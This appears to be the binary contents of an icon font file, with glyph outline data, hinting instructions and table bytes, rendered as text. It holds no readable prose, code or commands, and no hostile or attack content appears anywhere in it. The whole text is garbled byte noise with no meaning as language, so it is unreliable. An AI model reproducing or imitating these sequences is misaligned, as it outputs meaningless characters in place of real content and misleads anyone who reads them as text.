i  i   Y  a  Qih uthicbVTDB97,*	 55+/67>764'&'&'1&&'&'.7&>6%767>'6.&47676766'&'7"'.'&74>762"7>764'&'.bZ &*/b.1J$%216612%#"HLMccMLHEMR[@AFF[[FFB**:8=>89**U85r6'%$6!7#%P%$8$%' ,==,
:&K.3k2.%''$/16SFddKKddEHLHFA@[\DD\[@V>96)..*59};7V7"'+(H7&$R&$7e-:@:*@    g  )@&     W  _ O%!&!#+#";27676=324+54.#"??!;??	}"	}        # A@>   g g W _O  ## 	+!264&#!"!264&#!"!264&#!"h%%%%%%%%%%%%%2&&2%%2&&2%%2&&2%    	    A         # T@Q
  g	gW_O#"! +35#35#35#535#35#73535#35#35#`fT``     jR   + 7 C O v@sL g  g   g  
g
 
g		W	_ 		OED98-,!  KIDOEO?=8C9C31,7-7'% +!+
 +!"3!2654&#!"&5463!2%!264&#!"7!264&#!"!"3!264&'!"3!264&%%k$$		k X$%%w$K		w}l}      =  - : F O X v@sAL   i 

i 		i i  iYa QPPHG/. PXPXUTLKGOHODC>=54.:/:$#-- +"27>764'.'&"'&'&476762"26=4&"&=462'"264&"&462aYV$&&$VYYV$&&$VYavfc:<<:cffc:<<:cfw%$4%%$$4%%=&$VYYV$&&$VYYV$&k<:cffc:<<:cffc:<$%%$		%4$%3%S       B \ h  @x
F
E5RLoL 
 

      	i  gYaQDCwuqpfe`_USONIHC\D\=<8721*)$#BBK+.6?213251327>/7%22654."2>54&""&=46'"54&"26=32>=4."&=462&'&'&'53264&+5676?6."'&'&'.#";676767632327>}*}*00$0800:/$4%%"!00"$4%%4$		(	 		!ppS$		00S00%%S$*T1S0%%S$$				
			
       C    # ' * < M _ Y@V)$ \9*'&%! 
#("LJ        Y a QXWPOJIBA54-,+'&'#&+#32727376477''%&"264/764764.264'%&"264/764
_>>!!}!Ȟ}}nn3`SSEEmG_B>B!B}!<}}nnSSEE    X B T a p b@_po]ZJI^YhgTOF@0-	eEL     iYa QVU\[UaVa53/.*(#!+&/76&'&'&'&"3267676326/623227>/7676/732?6?"'6 &'&&'76?
q3KF``FK3	q;.7-?!
ll!>-7.;4H~1T	&(R_B6556B_=~H
(&	Tz
%i	

	i%

b>?
b
+pQ	
@
%%
p+)

	          7 T o [@Xh0`(L  g
g	Y	_O:8 ljdb[YMJA?8T:T42,*#!	 +!";;2676=4&+7>=4&+"&5463!2%!";;2676=4&+7>=4&+"&5463!2%%hbJx%$#a=5%,	}$%%hbJx%$#a=5%,	}$$%E11	VFnv$mi:G
F)Z$>$%E11	VFnv$mi:G
F)Z$       . ^ X@U-L,%$I  
 gg	  Y	 _   O1/! WTPNIFA>;8/^1^*( .!.+.6?32?676/32>&/"'&'#"!";264&+"&=463!2+";2>=4.?G	]JXS8I	000		$%$$00?6		z!	/00%$$%00     m   , 9 E Q ] t@q   g
i
 
g	i W _ OTRHF<:.-!  ZWR]T]NKFQHQB?:E<E43-9.9'& ,!,
 +!"3!2654&#!"&5463!2"2>4.".4>2)"3!264&'!"3!264&'!"3!264&%%k$$		k'C((CNC('C(00800		M				M				M	m%`%%%!				>(CNC((CND'080080}}    
    m  = R U j m ~    @Tl
L	1K  ~ 		 ~  i%i "i&i'	Y#!  g 
 
i  i$ g'aQpnkkSS  {yvun~p~kmkmedbaSUSUONKJ==8743/.)($#  (+7""&=4622654&"2654&%22654&"2654&""&=46'.6?327>'7%.6?3327>/7#"26=3264&#532"#54&"26=326=4&%26=3264&+";h$4%%4$$4%%4$?>
Af>?A
b)	%%		SS*}		)S	%%S$$	h	%%S%%	S	?--8,,#			>%4$S*S????          " 2 6 F J Z ^ k@hLXD0 Kg
W  i
_	OMK97%#^]\[URKZMZJIHGA>7F9F6543-*#2%2+&"264/764'&"2?64%#";26=4&#53%#";26=4&#53%#";26=4&#53b**e**z			}}			}}			}}))#))J}		}}T)}		}}T)}		}}T    	  jT   + 7 C [ y  d@/E
jdTl\{		LyKK	PX@r r  r  
 
g g  h  g g   h   g 		g W _ O@t     
 
g g  h  g g   h   g 		g W _ OY@?:8.,"  |utonhfa^QNIF@=8C:C41,7.7(% +"+
 +7#";26=4&+"&=46;2!264&#!"!"3!264&!"3!264&&+";26=4'76.+"&=46;2'&";6?&+";26=4'576.+"&=46;2'&";2?%%%%				G			P		G				G	K%%%(2			M-?		B-%%%(2			M-?	B%$$%		38,$$$9	n-?_,$%%9
		n->	^           # / ; G S _ k w   @  gg g!g"	
	g#

W#

_
Ozxnlb`VTJH><20&$ }xztqlwnwhe`kbk\YT_V_PMHSJSCA<G>G750;2;+)$/&/## $+!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&!264&#!"!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&_		_		_		_		_				$		`	`				`				`				`					#	}}}}}HT}}}}      jR 3 8 M ^ d m@j		!
	L   i  	i	 
	
i gYa Q__NN:9_d_da`N^N^WTDC9M:M8654+*#3*+76.&'53264&+";'.2767654'&%3'"'&'&476762"3!2654'&'&22Re				fQ32J)+<:cefc:<+**k]Y5665Y]]Y5665Y]kM	0/QRKMOpD
D8XX7C
D=VYdwfc:<<:cfwcZVT64Z\\Y4664Z\]Y56		`RQ/0#OM     2 X  @ 0`7)*	L    		 
i  i		Y		a	Q43{zvurplkhgcb]\QOKI?>:93X4X-,4+/.#'#2?265264&6?2654&7"265462;264&+76=4.4."265462#"32"&54&"2>54&'>}|YYS-0%4${y0o/:/$4%%%%4$080H}|Y}YH}
DM/%%%0h//%%4$%4$$		00++           . = I U a X@UL
   g	g W _ OXVKJ?> ][VaXaQOJUKUEC>I?I
 +!"3!2654&#!"&5463!2&2676&%&2676&#";264&!#";264&!#";264&%%k$$		k}}F}}TTEo		%$%%		@MM       M ;@8C<5 L   Y  a
	 QHF@?++&"'&'&""'&'&""'&'&""'&'.3276727672767327676&"5#"6"#4#"5"0,!$%B%$B%%!,0				
**   >    , / ; g@d L   h 
  g 		gW_ O20 850;2;/.&%,, +!264&#!"%3276/&"7##"2?>'&'3%!"3!264&*		l	V}}S}}Swl			

oo       / G V@S81L 	 
   gW_O GFA@;:54(%!	 //+!"3!264&#!"&=463!2#!"3!2>=4.4&"'&"2?64&"k00$%$%%$00YY}}00%%%$00Yn		Y}}        - u x |    @zyw_T,
	fL]K+$#I 		 		~  g
g  Y _   Ovv0. ~}|{vxvxnk[ZVUQPGE@=:7.u0u)'- -+.6?32?>/32>&/"'&'#"!";264&+"&=463!010126=7327"3!2>=4.5573#75#?F?G	]JXS8I	0\00}		}$%BG006qB}BB4?6z!	/00%$h}>		6G	00*55BpBB4           Y f @aV	P	LK	PX@J r   g 
i 
 	
i 	 	i i  i W ` P@K    g 
i 
 	
i 	 	i i  i W ` PY@-[Z!  _^Zf[fRQNLGF@?9831.-(& Y!Y
 +!"3!2654&#!"&5463!2"326764&"#".4>2"&'74."3267267654."&462%%k$$		k{>j>>j>,S C%3V33VeU3!0801-A0>i>%%3#$%$%%		>i|i>!2VfV32U20080+ >i>$4%#!     0 U a m y @!L 

    g i g		i g 
gW_OpndbXV31 vsnypyjgbmdm^[VaXaQOLJFEBA><971U3U.+&#	 +!"3!2?!2>54.#!"'&#!"&5463!2#"#";26=3264&+546;264&!"3!264&7!"3!264&'!"3!264&00ww00"$	nn	%%${*0		??%*		#	t`				`			0_0ww00%oo%$$0		$}}      iR  # S W | @ug2&v^GL5
K 

   g  i g  

g  	g 	 	g W _ O%$ {xki`_][WVUTLJDA<9/,$S%S!	 +!"3!2>54.#!"&5463!2#764/.+"#54&+";26=3!26?6.#3#!'5326?6=46;2;20000"$%%$Ŝ%K				5,(;(=$CQ	
	%R0000%%$$'^(%K		25'+ `M "KL .	)   jR   ' , / ; G @.*L   g g g 	g	 	g

W
_ 

O><20-- DA<G>G850;2;-/-/,+)("'' +!264&#!"!"3!264&!"3!2654&!)7#";264&#"&46;2		B	B				B			Np_5f"11"#01"(S}		*q66S1E11E1}""           # ' 3 ? \@Y! L  g
W
_	O64*( <94?6?0-(3*3'&%$##	 +#";26=4&#53%#";26=4&#53%#";264&#"&46;2		b	N"11"#00#}		}}T)}		}}T)0E11E0}""          # ' 7 ; K O _ c s w @5! iUAL  g
	ggW_OedQP><)( wvutnkdsescba`ZWP_Q_ONMLEC<K>K;:982/(7)7'&%$##	 +#";26=4&#53%#";26=4&#53%#";26=4&#53#";26=4&#53%#";26=4&#53%#";26=4&#53$		b	b	z		b	b			*		*				)		)		     m   # ' 7 ; a@^-L  g  g g
W
_	O*( ;:981/(7*7'&%$##
 +#";26=4&#53#";26=4&#53!"3!2654&!!						e		qm				Ц		ЧM		       # ' 7 ; K O _ c s w       @5}L&g
	%$  g)'g(g, +*#g"W"_!OzxfdQP=<*( xzwvutnkdsfscba`ZWP_Q_ONMLEC<K=K;:982/(7*7'&%$##
 -+326=4&+"73#!26=4&#!"7!!%#";26=4&#53#";26=4&#53!26=4&#!"7!!%#";26=4&#53#";26=4&#53%!"3!26=4&!5!%!"3!26=4&#53			w	N			zw	M					}}		M	#		#			Ч)		Ч		ѧ				Ц				Ц				ЦЧ)Ч)Ч        # ' 7 ; K O _ c s w @I	
iL  g  
g
	
	gg g  g  g W _ OedQP><)( wvutnkdsescba`ZWP_Q_ONMLEC<K>K;:982/(7)7'&%$##	 +#";26=4&#53%#";2654&#3%#";2654&#3#";26=4&#53#";26=4&#53%#";26=4&#53$		b	b	z		b	b			*	_	_w*			M	#		}				}		     jkR   % : G n  @}|xslgd\UT	

 L
	
	
i 	 	i g  g  W  _  OIH<;'& HnInBA;G<G10&:':!%$ +2!"&5467%2#!"&463%2#!"&4632"'&'&47676"2>4.22/'&'&57'&5>3?4676'46?'"&'V

8



<

		

TIG*++*GIIF*++*FITJ|II||II|J
.dG\WKd-
	B2?>2Cl	
h+*GHIG*++*GIHG*+*H||II||HSX	Gd).dGW	C>.
C!!C.   jR   E O Z ^ @G YRQNHL    ig i   i	
	g

Y

_ 
OPPFF ^]\[PZPZFOFOKJ@>=;7520/-(&%# EE +2>4."72"&46%!53264&+";!"3!#";264&+5!2654&'&#572?)!//900%%4$$!S		K				S		
	k6/:/080$4%%4$SS	<	SS		*ɒ7f	  	  jlR  % - 9 E Q ] f o @-($L    g i i  g g 	g	 
	
gW_ Ohg_^SRGF;:/.lkgohocb^f_fYWR]S]MKFQGQA?:E;E53.9/9'&%%)2+4&#!"3!273053?'.'&!76?!"3!264&!"3!264&!"3!264&!"3!264&264&"72"&46k	<		*noB#11E11""=		6F`G}}}1E11E1}""      (   1 A c r { K	PX@!|/
:k qpfeb\VQ'LK
PX@!|/
:k qpfeb\VQ'L@!|/
:k qpfeb\VQ'LYYK	PX@[ 		 		~   i  i

g i   iW_ OK
PX@` 		 		~   i  i 
W

g i   iW_ O@[ 		 		~   i  i

g i   iW_ OYY@CddBB32 ~zyvudrdrBcBc_^YXTSPOIH2A3A,)$!11 +2>4."72"&46%#654."!"3!2654&%2&'&54>2?67673'&"'&#'&#567?4&"26'462"&//900%%4$$'CNC(			0('&(1l,,U
X$4%%4$S40:/080$4%%4$'C''C';}01U8?=:U10=S,0		0,S=f	7ei7$%3%%   jR   D a q @p4' 9	&	ohgQK
L  	 	 	 	~ 

 

 g  i    iW_Ocbmkbqcq][TS?>;:,*%# DD+2>4.""&462%!"3!264&#!572?6.'&!2654&.?32?>/3276&/"'&'#"}080/90%4$$4%B				K
hYe
j\}W^X^		\Zm009/0%%4$%	<	

	7		G	
S?	,	H 	  jkR   ' + 7 G K T ] @'"L  g i i  g g 
g 
 	
	gW_ OVUML98.,(( ZYU]V]QPLTMTKJIHA?8G9G41,7.7(+(+*)! 
 +!"013!2654&'.'&!76?!!"3!264&!"3!26=4&#53264&"72"&46V<			no7h6			\$#11E11""R	6			*	F`G6w	S		S	S)1E11E1}""   jR      # [@X  gg  
	
g		W		_ 	O    # #"!
 +!"3!2654&!!%#3!!!)5!B			wR	B			`66   jR ? q   'G  %5654'.'54&'67654'&'&#"&'&"7326?6767654'&'#'&327#"'.54767676?6767'754&">=4&"327&'&547632276?65327&'&'&&'6767676324767676767632&'&>.#"&4632676762&+"#"/&#"327#".%0##"'.=4763272"'!8%951:7Dc*%8$<#mOG5$%!3I'!*?1VD"27,(%.*%-$ f	%/%$(&%	
)*7ZVs`
*F=LDB?):!(0,>35-
IHP?G*	"11"ZiOQ1'		
++!  8.28*,LSE`X#09L=">}

-Z>-$*	%c=62/&3#;!WI>8'7P	N&(#	$V
		 

 0?RJB40	
(-1;0,#
!5:HPZ		1F0?0$	
!@#$(1a!0@v"     jU   ! H \ b n @ bZFB;2/)(	L J	

   g g  

j W _ OdcJI"" khcndn^]WVSQI\J\"H"H?>54,+!  +#54&#3!2654&+7!!"54&"&=4&"26=>=4&3";2654&#476?#";264&>
^	qS6!!t)

)	h
}		A	Ls*.cc.***4		4**F7
h		$          " + 8 A a@^  i
Y
a	Q:9-,$# >=9A:A32,8-8('#+$+"" +"2>4."&462%"2>4."&462%"2>4."&462}00800%%3%%]00800%%3%%]00800%%3%%080080%3%%4$080080%3%%4$080080%3%%4$          " & + 7 C O @ L  g
	g g g g W _ OFD:8-, KIDOFO?=8C:C20,7-6+*)'&%$#"! 
 +)"3!3!265326=4&!5)3#!!7+53";264&##";264&#";264&				$wѼ>								}	!			}}TT)T}}   ]=   " + 8 A u@r i   i i i 
i
		
Y

	a 	
	Q:9-,$# >=9A:A32,8-8('#+$+"" +2>4."72"&46"2>4."&462"2>4."&46200800%%4$%00800%%3%%00800$$4%%m080080%4$$4%080080%3%%4$080080%4%%4%          3 X  @1`8*x	+	L 		   g
i  i		i W ` P54 {zvurplkhgcb]\QOKI@?;:4X5X.-
 +!"3!2654&#!"&5463!2&6?2654&7"265462;264&+76=4.4."265462#"32"&54&"2>54&'>%%k$$		k-S-0%4${y0o/:/$4%%%%4$080%$%%		?}	DN0%%	%1i00%%4$$4%%00++       ' + 4 = @
75/-*(	2+4/764'%&27%64/76%%727%%727%
xw!	!wwww
xwNNfLLn<<Ln<<n^D>>D
>D
E>?{>>        $ ? I n  \@Y   g
 	 iW_O&% }xvsp`^NLHFEC8631%?&?#!  +#"1"326?326?6.+732%#"1"326?326?6.+732'.+76.326?32326?6&%&+";32?6W)	U$9""K FW)	U$9""K F"<	>	&F				SD,#%]}"K	SD,#%]}"+:		"Y	Y%x	
     =    + 7 G K W c o     @=}L   g  g g! 		g  
g"
 
g $g# g% g  g& g (g' g) g W _ OrpfdYXNL:8.,!  ywprlidofo`]XcYcTQLWNWKJIHA?8G:G41,7.7(% +!+@
	 *+#";26=4&#53!264&#!"73264&+"!"3!264&#";26=4&#53!"3!264&%3264&+"!"3!264&#";26=4&#53!"3!264&%3264&+"!"3!264&		ВG					P		G	3				G		P		G	3				G		P		G	=		}S}}		S*}}		S)}       m    + 7 I Z z@wQF	L  
 g
	
Y 		g i g W _ O.,"  VUMLBA:941,7.7(% +"+	 +!"3!2654&!!3264&+"7!264&#!"7!264&#!"'&"264/764'&"2?64-		qH				6				6	TTEEeSEESm		`SSwSSEEMSEES      jR = G b u  =@:|urSE 4(!L       v\Z86-+&%+47654 #""#101&'&27327676'&'732767>'&'.'&'.7676327'0"1'&'.'&'&?'&'&767'&q).2/5%/1%\  E;G2"%/,*!*(48V!
XN,%("1)$ 
	
	>`:L0BUk/:ANq)6:;%/]H^ D&0%5.2.!!
!V84(N
$+0)"(%,>:`g04..)%.lTB&         " 2 6 F J Z ^ j v     @XD0L g
	g! g  i$#"W$#"_Oywmka_MK97%#~|wyrpkvmvfd_jaj^]\[TRKZMZJIHG@>7F9F6543,*#2%2%+&"264/764'&"2?64%#";26=4&#53%#";26=4&#53%#";26=4&#53#";264&3#";264&3#";264&#";264&3#";264&3#";264&wTTEEeSEESQ}		}TT}		}TT}		}TT!}		}}		}}		}S		SS		SS		SSSDEMSEDS}		}}S*}		}}S*}		}}SS          / 3 ? O S _ o s        @M- mL(&$ 	 gg)'
%g.,*!g g/"-+W/"-+_#Outb`TTA@54!  |ytusrqpig`oboT_T^ZXSRQPJG@OAO;84?5>3210*' /!/	 0+#";26=4&#53264&+"3#";26=4&#53264&+"3#";26=4&#53264&+"3#";26=4&#53#";264&#";26=4&#53#";264&#";26=4&#53#";264&$											6			n				n			w		w		T		M		M		       / 3 ? O S _ k w @M -	E
L  g  g g g 		g g g  
g

W

_
Omla`UTB@64!  tqlwmwhe`kak\YT_U_SRQPIG@OBO;94?6?3210*' /!/
 +#";26=4&#53264&+"3#";26=4&#53#";264&!"3!2654&!!3264&+"7!264&#!"7!264&#!"								qG!		w		w			T		e}}   jR   # ' 7 ; G T ` p t             @HL2g
	10  g34g7g65g"9 8:#!$g=,<(;$/+'&$'g.*&%%&W.*&&%_-)%&%OvubaUU=<*( е|uvtsrqjhapbpU`U_\YRPMJB@<G=F;:982/(@7*7'&%$##
 >+326=4&+"73#!26=4&#!"7!!%#";26=4&#53";264&#4&+";26264&+"3326=4&+"73#!26=4&#!"7!!%#";26=4&#53#";264&!";264&#264&+"3#";26=4&#53%!"3!26=4&!5!%!"3!26=4&#53			w	N					}}		}c}		!w	M			}		}		}	}				}}		M	#		#	X				Ц*				Ц				Ц				Ц*				Ц				Ц)*				Ц*				Ц*				Ц      jR    / 3 ? O S _ o s       @m!L(&$ 	 g  g%g)g* g '

g. !!g, g  g +g/"#g-W-_ Outb`TTA@54!  |ytusrqpig`oboT_T^ZXSRQPJG@OAO;84?5>3210*' /!/@	 0+#";26=4&#53264&+"3#";2654&#3264&+"3#";2654&#3264&+"3!#";26=4&#53#";264&%#";26=4&#53#";264&#";26=4&#53#";264&$											6			n				n	R		w	`			_w			M	#`						 	   0 @ N Z t     @~T	S9
Z=L&KLDI		 

   i	 
	
g  i Y a Q nl]\@?)' 00+"327276?6&/276.'..=46?&'&/&/7'&'&577#"'#.'&'.7567632&76327676.732?>.'2?64.#";264&1~!#1S(
$k('.?#@65|>2:NV-
,p6)@K/-6*	-e,-	(.760091C$-(	SS}}	
	m<#7Q)G}$2,GEQ}&)\:(2UY-Y	B
6(G9=KA?*!O<>E>o& '%?A|/:E
31+?>SSS     jS % ( Z ` f o x       @'9?8^[._-bF aG XQ	L    g 	g	 	i# g 

i i$i  i! i% g"  i  W  _  Ozyqphg&& ~}yzutpxqxlkgohoUT<@;&(&(! %%&+!326=!2654&#!"3!264&74'&'5>'.'54&".26=>'467&5"264&"&462"264&"&462"264&"&462";264&##";264&#";264&	5	H".#$0#.#%/*S*%%4$$	%%4$$	%%4$%					2		G		G	q@$' ?	$		(8
u9
	$4%%4$ST$4%%4$SS%4$$4%Tw    
   # ' + / 3 7 ; k q w @! oOHE=srpga`UT<	L  ~ ~   g 	 g 	 	g
gg W _ O8800,,$$ dcLKCB8;8;:97654030321,/,/.-+*)($'$'&%
 ##+#54&#!"#";3!26=32654&#5%!!'#53!!3%5>'.'54&".'4&26=>54'467&5					6*6*_/"$/S/"#0)S>		>?		?H*SSS}*SS_S5_U*		.:U	*.<AKK   =   & 3 @ M Y e q z  @   i g i i i g  i i i 
g
		
Y

	a 	
	Q|{srhf\ZPNBA54(' {|wvrzsznkfqhqb_Ze\eVSNYPYHGAMBM;:4@5@.-'3(3! && !+"2>4.".4>2"2>4.".4>2"2>4.".4>2!264&#!"!"3!264&!"3!264&"264&"&462(C''CPC'(C'009/0(C''CPC'(C'00800(C''CPC''D'//900G			P		G				G	%%4$%	='CPB''CNC(080090S'DND''DNC(080080S'DND''CPC'0:/080w%4$$4%T     & : K i @CI) LK
PX@A  r q	g  g 
  iW` P@A    	g  g 
  iW` PY@5ML=;(' fd`_RQLiMiFEB@;K=K641/,+':(:&$ +26=332>/>=4.+"32+732653264&+"3264&+4&"!764&"01264/!264&	]MB&/}h%%hhh		V		tZ}}Z	4hs
c5")/N%)%99}Z}	}Z     jWS  " H @B5 LK
PX@*	r  i  i Y a Q@+	  i  i Y a QY@ EC<;42)("" 
+#"2767654.2"&=46"'&'&54>;26=4&'532GJ|I0/QRRQ/0I|	A+*FIHG)+=j>>$4%>?i>RI|J`RQ/00/QR`wJ|I}		}!UHG)++)GHUw>j=W }%%} W=j>    jR  3 /@,L     i Y a Q)+67654'&'&"32767264476762"'&'&065Y]]Y5665Y]kKEB60B0/QRRQ/00/QRRQ/0s16BFJk]Y5665Y]]Y560?`SP/00/PSSP/00/QR          0 K@H!L ~   g W _ O 0/*)$#
 +!"3!2654&#!"&5463!2'&"2?64&"%%k$$		kw%$%%		    jR 1 C X j z@w%	
L i  i  		i  i  
 i

Y

a 
QZYED32 edYjZjKJDXEX982C3C,+#!
 11+%"%64'%32>4.".#"32672>4.2"&'501&54>".4>28101".547015>2A*I

tI*-M--MZL-
I*-M--M-*It
-LZM--M-"9""9E<"9"9""9E<<w"9"<E9""9("6"(-LZM--M-"(-MZM-)"-M--MZL-q"9D9"&"9""9D9"&;&"9"&"9D9"    	  jR     ' 3 ? K W @  g g g g 
g
 
g 		gW_ OMLA@54)( TQLWMWHE@KAK<94?5?0-(3)3$!''
 +!"3!2654&!5!)!'#";264&'#";264&'#";264&'#";264&'#";264&B			lGMh}}		}}		}}		}}		}}	R	B			*<<}}}}}      =       $ ( . 8 J M Q U Y _ i { ~           K@/,+`]\M&(~ L2 7	 g65
43
 g8;g:9 $g>$1B/-+)(&$(g0A.@,?*'& %&%g<#=!  g"W"_ Olj[ZVVRR;9*)%%!! }|vqj{l{fedbZ_[_@GVYVYXWRURUTSQPONLKE@9J;J5431).*.%(%('&!$!$#"   C+!"3!1326=4&#7#7373#73#73#73'3546+532!"3!1!26=4&#7#7373#73'3546#!5!2!";1!26=4&#7#73#3546#!5!2!"3!1326=4&#7#7373#73#73'3546+532%%}$$``B}B}B}}B}}B}}B}JJ_ii%%w$$Z``B}B}B}}B}JJ_c%%q$$```B}BJ_]%%q$$``B}B}B}}B}}B}JJ_=$T$%T$__}}}}}}}}}}}`Ki}$T$%T$__}}}}}}}`Ki}J$T$%T$``~`Ki~8$T$%T$__}}}}}}}}}`Ki}     m   , E >@;/.L>%K   g W _ O 	 +!"3!2654&!!?'&327654&>&/&32?>.HqT55T
655T
Tm	_	_w**M
**      C ( , 0 4 >@;4321,+*) L    g W _ O%$,&+&54&#!"'&;73!26=327654!!'57H	l}G}}#8		8#

#8		8#
N
Nw          " < F P _@\ G
L  g  i	 
g 

W 

_ 
O$# POLIFEB?74.-*'#<$<
	 +264/764&"%'&"2?64#4&#!"#"3!26=4&463!2!#!"&=!}	EESSYSEESh>%$?%%q	q	f	 EDTSvTDESb%%	*$$*	b		?       $ 6 U r   @%}Vv]wW3
ML	S	LKPX@Wr

~

~	p   gi	i		h W _ O@Y

~

~~   gi	i		h W _ OY@;ss sszykied`_ZYPOJIEC?>/.'&
 +!"3!2654&!!264/764&"2?64/&"3;264&+764&"54&"26=264/3264&+"#2?26='&5&'"/#";#";2?5>5754&"'&"l			kDDTTTEE:T!DEED!TET!D>!TE	f			fqeEESSSSEEVED!	TVT!DED!TET!D        m   ) ? W@T7L
 	 iY_O+* <931.,*?+?$!))	 +!"3!2654&!!%#";#";2654&#3264&+";264&HzS		>>		S	8>>		SS	m	_	_w*	_w	_   =   $ 5 a@^& L 	  
   h W _ O 54/.)($#
 +!"3!2654&!!'&"2?64&"7264/&"2l			kEESSEESSHEESSEESS     C   % 6 E H G@DHGF-"L   gi W _ O 21)(	 	+!"3!2654&!!&"264/764'&"2?6432?64/&7HSSEE;SEES}		})CCC	`			`wZSSEEMSEESoTT,,        m   % 6 H@E-"L   gi W _ O 21)(	 	+!"3!2654&!!&"264/764'&"2?64HSSEE;SEESm	_	_wYTSEDNTDES    ,  - > A }   )2  '&2?>=4&/.=46?62%&"32?64'5656.".&'&'&1#'&727>'676.'67>'&'"'67>.'&'2>.'.5676'&7676!"3!2654&+53264&+46;264&+"#";#"&5463!2#";2>=4.+".=4>;2'"2>4."&462iGGi *+i$F$i+*jCCjj!D!j}		tC
	
B"
/& $$!JHM@8A	%24			F`
0'7G%%M$$**#1				M(C''C((C''C@//00"9""9D9""9""11E01		. .

. .				T>Y,	
$*,#	*+%y<
 	
		@		
$4j$%%M$u	1"	M'D'(C''C('D'0000"9D9""9D9"1F00F1        - 0 3 ? n@k	L  	 	 

   g 		g g

W

_ 
O64 <94?6?320/,*%$-- +!264&#!"276&/&";#"2?6'&+5'3#!"3!264&*		l	P}}hh}}hSSSl			}		}o?o`          # ' + / 3 7 @  g g
	ggW_ O44,, 4747653210,/,/.-+*)('&%$#"! 
 +!"3!2654&53#5#5))5!!!%!!!5!)5!B			"#%%q##l%q#	<			}})}}M}}}}}}}}}}      ! + 6 T W@T 3(R
L 	 g 

g W _ O-,$"MKEC<921,6-6'&"+$+8333+'.+"&+".+"3!2654%32#'7>!32#'7>#!"&54?6;23!2*   -	%k$ѿ		0	- 3>ox"%%~F*E*{		x`         B [ e@bML)X&	L
   g  g 		i  i W _ O!  [ZJIDC=;41 B!B
 +!"3!2654&#!"&5463!2"'&.'7>'&54&+"326=4&"'&'&776?%%k$$		k4($-'5!Q97^`qeWU03T*E48(3%$%%		"5&+	#)pa]79Q32TXf,-8
4E*       # 8 ; _ y  @c:b
L
<	n	 L  

 		   g

i g		iY_ Oa`99 }|rplkfe`yay]\UTONJIDC?>9;9;430/##
 +!"3!2654&463!2!"&#7.6?327>/74&""&=4622654."2>%"54&"265132>=4."&=462%%k$$f	kp	!5G}**00V$4%%4$080/:/""00"$4%%4$%<%%%		q6!	pp>%%S%%00S//T		0S0%%S%%           ; T@QL
   g i	 g W _ O!  :852/-,*'$ ;!;
 +!"3!2654&#!"&5463!2264&+";#";264&+%%k$$		k'		S				S		%$%%		>w          % 6 F J Z ^ n r   @ -"lXDxdP<	
L   gi  g
g
		
W

	_	
	Otsa_LK87 |zstrqpoif_nan^]\[URKZLZJIHG@>7F8F21)(	 +!"3!2654&!!&"264/764'&"2?64#";26=4&#537#";26=4&#537#";26=4&#537#";26=4&#53HSSEE;SEESQTT**SS	**S		S	))TT**__wTSEDNTDESTTT**TTT**TTT**TTT*         # ' 7 ; K O _ c s w               !"3!2654&!!%#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#536			`	S		S	))S		S	))S		S	))S		S	))TT**TT**TT**TT**S		S**S		S**S		S**S		S**H*TTT*}	S		S	S)}	SS	S*}TTT*TTT*}	S		S	S)}	SS	S*}TTT*TTT*}	S		S	S)}	SS	S*}TTT*  
       # ' 7 ; K O _ c @! A]UL  g  g 
g 
 	
	g g  g gW_ORP><*( cba`ZWP_R_ONMLFC<K>K;:982/(7*7'&%$##	 +!"3!2654&!!7#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53-		S		S	))S		S	))S		S	))S		S	))H*TTT*}	S		S	S)}	SS	S*}TTT*   = e p      @ѹba_	^  Y421tXVU5DCA:	L W	i  g   g 	 	i  
g 
 
gi Y W aQgf ý~xvmlfpgpROJG>=.+&#
 ee+326=4&+"&'54&"'54&+";26=726=67;26=4&+"&'5>4&'567'21"&46+"&=46;221"&4676=46;2+"&=4/"&5146276=46;2+"&=4'$$%66%%%%66%$$%66%			EG			EG>E		%$$!7l		l ( 6!%%%$!7 ( l		l7!$%%%!6 ( 6!%	
*		*E	0	)		*	D	9D	*		)	    =   ; K [ w      @^lL$   g%*	g  i  
g&
 
g+ '!g  i  g( g,")#g  i W _ Ozx]\><!  ˼xzsronkieda`\w]wYVQNFC<K>K7632/-)(%$ ;!;
 -+#";26=4&+"&=46;2#54&"#";26=3264&#";26=4&+"&=46;2#54&"#";26=3264&#";26=4&+"&=46;2#54&"#";26=3264&!264&#!"!"3!264&!"3!264&%%%%				>	!%%%%				>!%%%%				>G			P		G				G	=$$$$?				%%%%				>%$$%		>				q        m   A c  T@Q{nhYLF6)$	LUK ~   g W _ O ~\['&
 +!"3!2654&#!"&5463!2&'&"'.6?;>?6&%&'.'.6?;>?6&%&'.'.6?;>?6&%%k$$		k	&&	*
+,*	&&	)++)		&'	*,+
*	m%`%%%!				h		jYYj		ee		jYYj		ee		jYYj			ee      ( 2 H c@`
@=7	L  
	
g		g  Y _  O CA?><943/*'%! 	 22+0#!"&463265!""&=463!2"&54&#!30132'3&5463!25!63!2%%	k%%}	###$l%%%z%)"hhe#    $  e n y  [K
PX@&*xung32
 LoTKKPX@&oT* xung32
 L@&*xung32
 LoTKYYK
PX@A     ~ ~ 	 	i i 

Y 
a 

QKPX@;    ~ 	 	i  i 

Y 
a 

Q@A     ~ ~ 	 	i i 

Y 
a 

QYY@|{mkOMGE@>7654%$+47.'&%2632656/&#"'"3262656/&#6767632#"3#"'65&62#"'&'&'&547676767632767>7654'&'&'&#"l"1R;&		l;-*?X		h5Y*1+5T:&
y3N@026<RyVV)& #@ %%@RbQ[XLF@ %%*9IbTWR<0""&5<RGd[PV3;%!!A@ZMQ I/Y
			
O3

	3T2XcoU^0ZQ=%%@RVV*%!"@ &&!?@RPc]V)& #""&5I(IbTWR;< !%(4<QGdVUGG3        # / ; G t@q   g g g 	g 		g 

W 
_

O><20&$ CA<G>G850;2;+)$/&/ ## +!"&463!2!"&463!2!"&463!2!"&463!2!"&463!2!"&463!2B			e		B			e		B			e		}}}}}      fO   "&'&/&'&'&'#"'&'&'&547632765##".4>3235.54>23>32#"&'#0132767'&>76767>+%32676?676767>;6767#"'&'46;23264&#"+"&=47>54&"+"'.#"32676;2#"&'&?&')7!5$-;G$$*&
?,//,?"9D9"?,00,?&+%&5--$5 7,$(!16





61!(#MR
,S"	^	%%	^	0E1_	%%	_"S,
RM
$12Db:5(
	0:/ 0"9""9"0 080t
(*-bD21$
